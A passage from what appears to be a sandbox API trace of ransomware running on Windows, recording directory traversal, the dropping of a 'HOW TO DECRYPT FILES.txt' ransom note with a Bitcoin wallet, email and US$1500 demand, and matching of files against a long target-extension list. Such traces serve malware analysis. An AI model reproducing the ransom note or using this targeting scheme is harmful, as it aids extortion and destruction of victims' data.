HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0" [0085.523] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0") returned 72 [0085.523] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf928f5c4, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f6000, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0085.523] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0085.523] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf928f5c4, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.523] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0085.523] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0085.523] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x1f2, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="WMSDKNS.DTD", cAlternateFileName="")) returned 1 [0085.523] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0085.523] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WMSDKNS.DTD") returned -1 [0085.523] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WMSDKNS.DTD") returned -1 [0085.523] lstrcmpiA (lpString1="", lpString2="WMSDKNS.DTD") returned -1 [0085.523] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\*.*") returned="*.*" [0085.524] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\" [0085.524] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\") returned="" [0085.524] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\HOW TO DECRYPT FILES.txt" [0085.524] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows media\\12.0\\how to decrypt files.txt")) returned 0xffffffff [0085.524] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows media\\12.0\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0085.525] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0085.525] WriteFile (in: hFile=0x98, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0085.527] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0085.527] CloseHandle (hObject=0x98) returned 1 [0085.527] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\", lpString2="WMSDKNS.DTD" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD" [0085.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.ems") returned 0 [0085.527] lstrlenA (lpString="*.ems") returned 5 [0085.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.db") returned 0 [0085.527] lstrlenA (lpString="*.db") returned 4 [0085.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.dbf") returned 0 [0085.527] lstrlenA (lpString="*.dbf") returned 5 [0085.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.myox") returned 0 [0085.527] lstrlenA (lpString="*.myox") returned 6 [0085.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.myo") returned 0 [0085.527] lstrlenA (lpString="*.myo") returned 5 [0085.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.qbw") returned 0 [0085.527] lstrlenA (lpString="*.qbw") returned 5 [0085.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.qbb") returned 0 [0085.528] lstrlenA (lpString="*.qbb") returned 5 [0085.528] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.qbm") returned 0 [0085.528] lstrlenA (lpString="*.qbm") returned 5 [0085.528] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.qbo") returned 0 [0085.528] lstrlenA (lpString="*.qbo") returned 5 [0085.528] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.qbx") returned 0 [0085.528] lstrlenA (lpString="*.qbx") returned 5 [0085.528] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.qba") returned 0 [0085.528] lstrlenA (lpString="*.qba") returned 5 [0085.528] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.qby") returned 0 [0085.528] lstrlenA (lpString="*.qby") returned 5 [0085.528] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.qbj") returned 0 [0085.528] lstrlenA (lpString="*.qbj") returned 5 [0085.528] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.ofx") returned 0 [0085.528] lstrlenA (lpString="*.ofx") returned 5 [0085.528] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.qif") returned 0 [0085.528] lstrlenA (lpString="*.qif") returned 5 [0085.528] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.mye") returned 0 [0085.528] lstrlenA (lpString="*.mye") returned 5 [0085.528] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.mbox") returned 0 [0085.529] lstrlenA (lpString="*.mbox") returned 6 [0085.529] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.eml") returned 0 [0085.529] lstrlenA (lpString="*.eml") returned 5 [0085.529] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.pst") returned 0 [0085.529] lstrlenA (lpString="*.pst") returned 5 [0085.529] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.ost") returned 0 [0085.529] lstrlenA (lpString="*.ost") returned 5 [0085.529] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.idx") returned 0 [0085.529] lstrlenA (lpString="*.idx") returned 5 [0085.529] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.dbx") returned 0 [0085.529] lstrlenA (lpString="*.dbx") returned 5 [0085.533] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.sql") returned 0 [0085.533] lstrlenA (lpString="*.sql") returned 5 [0085.533] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.mdb") returned 0 [0085.533] lstrlenA (lpString="*.mdb") returned 5 [0085.533] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.fdb") returned 0 [0085.533] lstrlenA (lpString="*.fdb") returned 5 [0085.533] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.wab") returned 0 [0085.533] lstrlenA (lpString="*.wab") returned 5 [0085.533] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.dat") returned 0 [0085.533] lstrlenA (lpString="*.dat") returned 5 [0085.533] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.txt") returned 0 [0085.533] lstrlenA (lpString="*.txt") returned 5 [0085.533] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.jpeg") returned 0 [0085.533] lstrlenA (lpString="*.jpeg") returned 6 [0085.533] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.jpg") returned 0 [0085.533] lstrlenA (lpString="*.jpg") returned 5 [0085.533] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.png") returned 0 [0085.533] lstrlenA (lpString="*.png") returned 5 [0085.534] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.php") returned 0 [0085.534] lstrlenA (lpString="*.php") returned 5 [0085.534] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.cs") returned 0 [0085.534] lstrlenA (lpString="*.cs") returned 4 [0085.534] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.cpp") returned 0 [0085.534] lstrlenA (lpString="*.cpp") returned 5 [0085.534] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.rar") returned 0 [0085.534] lstrlenA (lpString="*.rar") returned 5 [0085.534] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.zip") returned 0 [0085.534] lstrlenA (lpString="*.zip") returned 5 [0085.534] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.html") returned 0 [0085.534] lstrlenA (lpString="*.html") returned 6 [0085.534] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.htm") returned 0 [0085.534] lstrlenA (lpString="*.htm") returned 5 [0085.534] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.xlsx") returned 0 [0085.534] lstrlenA (lpString="*.xlsx") returned 6 [0085.534] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.xls") returned 0 [0085.534] lstrlenA (lpString="*.xls") returned 5 [0085.535] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.mp4") returned 0 [0085.535] lstrlenA (lpString="*.mp4") returned 5 [0085.535] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.ppt") returned 0 [0085.535] lstrlenA (lpString="*.ppt") returned 5 [0085.535] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.pptx") returned 0 [0085.535] lstrlenA (lpString="*.pptx") returned 6 [0085.535] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.doc") returned 0 [0085.535] lstrlenA (lpString="*.doc") returned 5 [0085.535] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.dot") returned 0 [0085.535] lstrlenA (lpString="*.dot") returned 5 [0085.535] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.docx") returned 0 [0085.535] lstrlenA (lpString="*.docx") returned 6 [0085.535] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.7z") returned 0 [0085.535] lstrlenA (lpString="*.7z") returned 4 [0085.535] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.tar") returned 0 [0085.535] lstrlenA (lpString="*.tar") returned 5 [0085.535] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.bz2") returned 0 [0085.535] lstrlenA (lpString="*.bz2") returned 5 [0085.535] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.gz") returned 0 [0085.536] lstrlenA (lpString="*.gz") returned 4 [0085.536] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.mkv") returned 0 [0085.536] lstrlenA (lpString="*.mkv") returned 5 [0085.536] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.eml") returned 0 [0085.536] lstrlenA (lpString="*.eml") returned 5 [0085.536] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.msg") returned 0 [0085.536] lstrlenA (lpString="*.msg") returned 5 [0085.536] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.edb") returned 0 [0085.536] lstrlenA (lpString="*.edb") returned 5 [0085.536] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.accdb") returned 0 [0085.536] lstrlenA (lpString="*.accdb") returned 7 [0085.536] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.odb") returned 0 [0085.536] lstrlenA (lpString="*.odb") returned 5 [0085.536] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.java") returned 0 [0085.536] lstrlenA (lpString="*.java") returned 6 [0085.536] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.asm") returned 0 [0085.536] lstrlenA (lpString="*.asm") returned 5 [0085.536] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.pfx") returned 0 [0085.536] lstrlenA (lpString="*.pfx") returned 5 [0085.537] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.pem") returned 0 [0085.537] lstrlenA (lpString="*.pem") returned 5 [0085.537] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", pszSpec="*.p12") returned 0 [0085.537] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf9269464, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x27cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMSDKNS.XML", cAlternateFileName="")) returned 1 [0085.537] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0085.537] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WMSDKNS.XML") returned -1 [0085.537] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WMSDKNS.XML") returned -1 [0085.537] lstrcmpiA (lpString1="", lpString2="WMSDKNS.XML") returned -1 [0085.537] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD") returned="WMSDKNS.DTD" [0085.537] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\" [0085.537] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\") returned="" [0085.537] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\HOW TO DECRYPT FILES.txt" [0085.537] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows media\\12.0\\how to decrypt files.txt")) returned 0x2020 [0085.538] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\", lpString2="WMSDKNS.XML" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML" [0085.538] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML", pszSpec="*.ems") returned 0 [0085.538] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf9269464, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x27cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMSDKNS.XML", cAlternateFileName="")) returned 0 [0085.538] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0085.538] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf928f5c4, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="12.0", cAlternateFileName="")) returned 0 [0085.538] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0085.538] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x690057, dwReserved1=0x64006e, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 1 [0085.538] lstrcmpA (lpString1=".", lpString2="Windows Sidebar") returned -1 [0085.538] lstrcmpA (lpString1="..", lpString2="Windows Sidebar") returned -1 [0085.538] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\*.*") returned="*.*" [0085.539] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\", lpString2="Windows Sidebar" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar" [0085.539] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, 